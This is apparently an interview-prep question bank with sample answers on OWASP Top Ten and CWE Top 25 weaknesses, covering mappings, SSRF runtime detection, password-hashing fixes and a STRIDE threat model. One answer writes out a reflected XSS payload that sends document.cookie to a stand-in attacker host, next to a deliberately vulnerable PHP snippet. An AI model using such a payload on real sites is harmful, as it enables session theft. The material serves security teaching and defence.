OWASP Top Ten and CWE Top Twenty Five Questions

Comprehensive knowledge of the Open Web Application Security Project Top Ten categories and the Common Weakness Enumeration Top Twenty Five weaknesses, focused on identification, exploitation mechanisms, root causes, business impact, and prevention. Candidates should understand each vulnerability class in depth, including injection, broken authentication and authorization, cross site scripting, cross site request forgery, security misconfiguration, insecure design, vulnerable and outdated components, cryptographic and data integrity failures, logging and monitoring gaps, server side request forgery, and related common weakness patterns. Assessment covers how to find these issues in source code and running applications, how attacks are constructed, secure coding fixes and remediation, threat modeling and secure design choices to prevent them, use of static and dynamic analysis and dependency scanning tools, vulnerability prioritization and patching strategies, and runtime detection and monitoring practices. Candidates should be able to explain concrete code examples, demonstrate fixes, and map specific code patterns to CWE entries when relevant.

EasyTechnical

42 practiced

Explain the OWASP Top Ten (2021) web application risk categories and how they relate to the CWE Top 25. For three OWASP categories of your choice (for example: Injection, Broken Access Control, Cryptographic Failures) do the following:- Briefly describe the OWASP category in one sentence- Map it to 2-3 relevant CWE identifiers (include CWE number and short name)- Give a concrete code pattern or application misconfiguration that commonly leads to those CWEsEmphasize root cause, attacker capability, business impact, and high-level mitigations.

Sample Answer

**Overview — OWASP Top Ten (2021) vs CWE Top 25**OWASP Top Ten enumerates high‑level web app risk categories; CWE Top 25 lists specific common software weaknesses that cause those risks. OWASP items map to multiple CWEs — OWASP guides risk prioritization, CWE provides actionable defect targets for secure development and testing.

**1) Injection**- One‑sentence: Injection occurs when untrusted input is interpreted as code/commands by an interpreter (DB, OS, LDAP, etc.).- Relevant CWEs: - CWE-89: SQL Injection - CWE-77: Command Injection - CWE-74: Injection (generic)- Common pattern/misconfig: Concatenating user input into SQL strings or shell commands (e.g., "SELECT * FROM users WHERE id=" + req.getParam("id")).- Root cause: Lack of input validation/unsafe composition of interpreter syntax.- Attacker capability: Read/modify data, remote code execution, privilege escalation.- Business impact: Data breach, integrity loss, regulatory fines, service takeover.- Mitigations: Use parameterized queries/ORMs, input validation/whitelisting, least privilege DB accounts, runtime WAF rules.

**2) Broken Access Control**- One‑sentence: Failure to enforce who can access which functions or data.- Relevant CWEs: - CWE-285: Improper Authorization - CWE-264: Permissions, Privileges - CWE-284: Improper Access Control- Common pattern/misconfig: Authorization enforced only in UI; API endpoints trust client-supplied role flags or lack server-side checks.- Root cause: Missing centralized server-side authorization logic and entitlement modeling.- Attacker capability: IDOR, privilege escalation, data exfiltration.- Business impact: Unauthorized data access, insider-style breaches, compliance violations.- Mitigations: Enforce server-side authorization, implement RBAC/ABAC, test with negative and fuzz tests, deny-by-default.

**3) Cryptographic Failures**- One‑sentence: Sensitive data exposed due to weak/misused or absent cryptography.- Relevant CWEs: - CWE-310: Cryptographic Issues - CWE-325: Missing Cryptographic Step - CWE-327: Use of a Broken or Risky Cryptographic Algorithm- Common pattern/misconfig: Storing passwords with MD5, using ECB mode, hard‑coded symmetric keys, TLS disabled or accepting any certificate.- Root cause: Poor crypto choices, lack of crypto lifecycle management.- Attacker capability: Data disclosure, replay, impersonation.- Business impact: Credential compromise, regulatory penalties, reputational damage.- Mitigations: Use vetted algorithms (AES-GCM, bcrypt/Argon2), proper key management (KMS/HSM), enforce TLS with strong ciphers, rotate keys, secure defaults.

MediumTechnical

36 practiced

A web page echoes a query parameter without encoding:

<!-- vulnerable.php -->
<html>
  <body>
    Search results: <?php echo $_GET['q']; ?>
  </body>
</html>

Demonstrate a reflected XSS payload an attacker could use to exfiltrate cookies. Then provide a secure coding fix (server-side) and a recommended CSP header. Explain why both are useful.

Sample Answer

**Reflected XSS payload (exfiltrate cookies)**

Example attacker URL:

text

http://example.com/vulnerable.php?q=<script>new Image().src='https://attacker.example/steal?c='+encodeURIComponent(document.cookie)</script>

If clicked, the page echoes the q parameter and the injected script sends document.cookie to attacker-controlled host.

**Server-side secure fix (PHP)**

Use output encoding and enforce charset:

php

<!-- safe.php -->
<html>
  <body>
    Search results: <?php echo htmlspecialchars($_GET['q'] ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); ?>
  </body>
</html>

Why: htmlspecialchars encodes <, >, ", ', & so injected scripts render as text, preventing execution. Specify UTF-8 to avoid charset-based bypasses.

**Recommended CSP header**

Example minimal header to block inline scripts and limit origins:

text

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-PLACEHOLDER'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; report-uri https://csp-reports.example/report

Why both are useful- Output encoding is the primary defense: it neutralizes untrusted data at the source (CWE-79 mitigation).- CSP is a strong defense-in-depth control: it restricts script execution, blocks inline scripts unless nonces/hashes are used, and limits data exfiltration paths. Together they reduce attack surface and mitigate injection and exploitation even if one control is misapplied.

HardSystem Design

36 practiced

Design a runtime detection system to identify SSRF exploitation attempts in your fleet. Include application-level telemetry, host/network signals, egress filtering, DNS and TLS telemetry, eBPF-based tracing options, heuristics to flag suspicious outbound requests (e.g., internal IP ranges, metadata endpoints), alerting thresholds, and mitigation automation.

Sample Answer

**Clarify scope & goals**Detect active SSRF attempts at runtime with high-fidelity telemetry, low false positives, and automated mitigations that protect internal services (IMDS, K8s API, metadata endpoints) without breaking apps.

**High-level architecture**- Instrumentation plane: app-level agents + eBPF kernel tracing + network telemetry- Aggregation & detection: streaming pipeline (Kafka) → detection service (rules + ML) → alerting & orchestration- Enforcement: egress filter controllers (sidecar, host firewall, service mesh) + automated quarantine playbooks

**Signals to collect**- Application: outgoing HTTP(S) requests (URL, headers, body hash, caller PID, user ID), call stack, library/runtime source (e.g., python requests)- Host/Network: socket open/connect events, destination IP/port, process binary, container/pod id- DNS: resolution history (query, response IPs, TTL), NXDOMAIN spikes- TLS: SNI, cert chain, JA3 fingerprint, TLS version- Cloud metadata access patterns: requests to known metadata IPs (169.254.169.254), IMDSv1 vs v2 usage- eBPF traces: syscall tracepoints (connect, sendto, accept), cgroup/socket-level attributes for low-overhead capture

**Detection heuristics**- Destinations in internal/private ranges (10/8, 172.16/12, 192.168/16, 169.254/16, 127/8)- Requests to known metadata endpoints or cloud provider services- Host header mismatches, redirect chains resolving to internal IPs- DNS resolving to internal IPs after public domain query- Unusual high-entropy subdomains (blind SSRF exfil)- Process and caller anomalies: web server worker making outbound requests where app never does- JA3/TLS anomalies for suspicious exfil endpoints- Scoring model: weight heuristics; threshold triggers for alert vs block

**Alerting & thresholds**- Score < low threshold: log + enrich- Score >= alert threshold: create high-priority incident, notify owners, add forensic snapshot (pcap, stack trace, recent DNS)- Score >= block threshold or repeated attempts (X within T): auto-mitigate

**Mitigation automation**- Short-term: inject iptables/iptables-nft rule on host to block destination IP/range; update sidecar Envoy RBAC to deny egress; denylist domain via DNS sinkhole- Medium-term: create service-mesh policy to enforce egress allowlist for service- For cloud metadata access: enforce IMDSv2, block IMDSv1, firewall rules to prevent instance metadata access from app network namespaces- Orchestration: playbook runs in orchestration platform (e.g., SOAR) with human-in-the-loop for high-impact blocks

**eBPF options (low-latency tracing)**- Use libbpf / BPF CO-RE program attached to sys_enter_connect, tcp_connect to capture dest IP/port, PID, cgroup id- Sample code skeleton:

// eBPF program: capture connect events and submit to ringbuf
SEC("tracepoint/syscalls/sys_enter_connect")
int trace_connect(struct trace_event_raw_sys_enter *ctx) { /* capture args, cgroup, submit */ }

Collect socket inode -> map to process and container metadata in user-space consumer.

**False-positive control & safety**- Apply allowlist per service (host/port/digest)- Rate-limit automated blocks; require escalation for infra-wide changes- Canary enforcement in dev namespaces before prod rollout

**Operational considerations**- Privacy: redact sensitive headers/bodies; store hashes- Performance: sampling, aggregation at edge, eBPF minimizes overhead- Testing: run red-team SSRF tests, fuzzers, and replay captured events- Metrics: detections/sec, false-positive rate, mean time to mitigate, blocked attempts prevented

This design provides layered telemetry, real-time detection with eBPF-backed fidelity, risk-scored alerts, and graduated automated mitigations tailored to minimize disruption while rapidly stopping SSRF exploitation.

EasyTechnical

36 practiced

You find code that uses MD5 for password hashing and a hardcoded symmetric key for data encryption. Explain why these are risky. Provide specific recommendations (algorithms, libraries, configuration) to fix both password storage and data encryption at rest and in transit, including key management and rotation details. Map these mistakes to CWE entries and describe business impact.

Sample Answer

**Why MD5 and hardcoded keys are risky**- MD5 is fast and broken (collision & preimage weaknesses). It’s trivial for attackers to brute-force or use rainbow tables to recover passwords.- Hardcoded symmetric keys (in source/config) can be extracted from repos, builds, or memory, enabling decryption of all data if an attacker gains access.

**CWE / OWASP mapping**- CWE-327: Use of a broken or risky cryptographic algorithm (MD5)- CWE-321: Use of hard-coded cryptographic key- CWE-522 / OWASP Sensitive Data Exposure: insufficient protection of data at rest and in transit

**Concrete recommendations — Password storage**- Use a salted, memory-hard KDF: Argon2id (preferred), or bcrypt/ scrypt if Argon2 unavailable.- Recommended Argon2id params (example): time cost = 3, memory = 64 MiB+, parallelism = 1–4; tune upward per environment.- Libraries: libsodium (comes with Argon2id), cryptography (Python bindings to Argon2), BCrypt implementations for Java/.NET.- Store: salt (unique per password), KDF parameters, and resulting hash (e.g., Argon2 encoded string).- Migration: detect MD5 hashes on login, verify, then re-hash with Argon2id and replace.

**Concrete recommendations — Data encryption (at rest & in transit)**- At rest: use AES-256-GCM (authenticated encryption) or XChaCha20-Poly1305 (libsodium) with unique IV/nonces per message.- In transit: enforce TLS 1.2+ (TLS 1.3 preferred), strong ciphersuites (AEAD), HSTS, certificate pinning where appropriate.- Libraries: libsodium, OpenSSL 1.1+/3.0, platform SDKs with AEAD support (e.g., Java Cryptography, .NET System.Security.Cryptography).

**Key management & rotation**- Don’t hardcode keys. Use a centralized KMS/Secrets Manager: AWS KMS/Secrets Manager, Azure Key Vault, GCP KMS/Secret Manager, or HashiCorp Vault.- Use envelope encryption: KMS stores/master key (CMK); generate data encryption keys (DEKs) per object, encrypt data with DEK, store DEK encrypted by CMK.- Rotation: enable automatic CMK rotation or schedule rotations; on rotation, re-wrap DEKs with new CMK or re-encrypt data as required. Maintain key versions and metadata for decryption fallback.- Access control & audit: apply least privilege IAM, require MFA for key administration, enable audit logging for key usage, maintain key lifecycle policies (retire, revoke).

**Operational & business impact**- Risk: credential theft, mass data breaches, regulatory fines (GDPR, PCI-DSS), loss of customer trust, remediation cost and incident response.- Impact: attacker using leaked MD5 hashes can impersonate users; leaked symmetric key exposes all confidential data.- Benefit of fixes: reduces risk of account compromise, limits blast radius via per-object DEKs, demonstrates compliance, and lowers breach cost.

**Actionable first steps**1. Replace MD5 with Argon2id and implement on-login migration.2. Remove hardcoded keys; adopt KMS + envelope encryption.3. Enforce TLS 1.3 and rotate keys/policies; add audit & alerting for key usage.4. Perform threat modeling and a secrets scan (repo/CI) to find remaining hardcoded secrets.

HardTechnical

38 practiced

Case study: For an internet-facing e-commerce application (catalog, cart, payments, admin portal), perform a STRIDE-based threat model focusing on OWASP Top Ten risks. Identify the highest-impact threats, map them to OWASP categories and relevant CWEs, propose mitigations (design and operational), and prioritize remediation by business impact and cost.

Sample Answer

**Situation & scope** I assessed an internet-facing e‑commerce stack: public catalog, user cart/session, payments, and admin portal. I applied STRIDE to each surface and mapped findings to OWASP Top 10 + CWEs, then proposed mitigations and prioritized by business impact vs cost.

**High‑impact threats (STRIDE → OWASP → CWE)** - Spoofing: credential stuffing / weak auth on admin → A2: Broken Authentication → CWE‑306/CWE‑287 - Tampering: client-side cart manipulation / price tampering → A01: Broken Access Control / A05: Security Misconfiguration → CWE‑639/CWE‑285 - Repudiation: lack of immutable logs for orders/payments → A10: Insufficient Logging & Monitoring → CWE‑778 - Information Disclosure: leakage of PII in APIs/logs → A3: Sensitive Data Exposure → CWE‑200/CWE‑311 - Elevation of Privilege: vulnerable admin endpoints → A5/A4: Broken Access Control / Insecure Design → CWE‑269

**Design & operational mitigations** - Authentication: MFA (FIDO2/TOTP), rate limiting, adaptive auth, credential stuffing detection (IP reputation, device fingerprinting). - Integrity: server‑side price calculation, signed cart tokens, HMAC for critical client data. - Access control: RBAC with least privilege, centralized authZ (OPA/ABAC), strong object-level checks. - Data protection: encrypt at rest (KMS), TLS 1.3, tokenization for card data (PCI DSS), redact logs. - Logging & monitoring: WORM logs, SIEM alerts for anomalous admin actions, audit trails with signed entries. - Secure devops: SAST/DAST, dependency scanning, CI gating, infra as code security, automated pentests.

**Prioritization (impact × cost)** 1) MFA + server-side price enforcement + RBAC — high impact, moderate cost → immediate. 2) PCI-compliant payment/tokenization + TLS + log redaction — very high impact, higher cost → short term. 3) SIEM + alerting + WAF tuning — high impact, moderate cost → near term. 4) SAST/DAST + dependency updates — moderate impact, low cost → continuous. 5) Full threat modeling & secure design review of admin flows — high impact, variable cost → planned.

I would present these to stakeholders as an RACI with sprint-based remediation: immediate critical fixes, 90‑day sprints for architectural changes, and ongoing controls automation.

Unlock Full Question Bank

Get access to hundreds of OWASP Top Ten and CWE Top Twenty Five interview questions and detailed answers.

Join thousands of developers preparing for their dream job.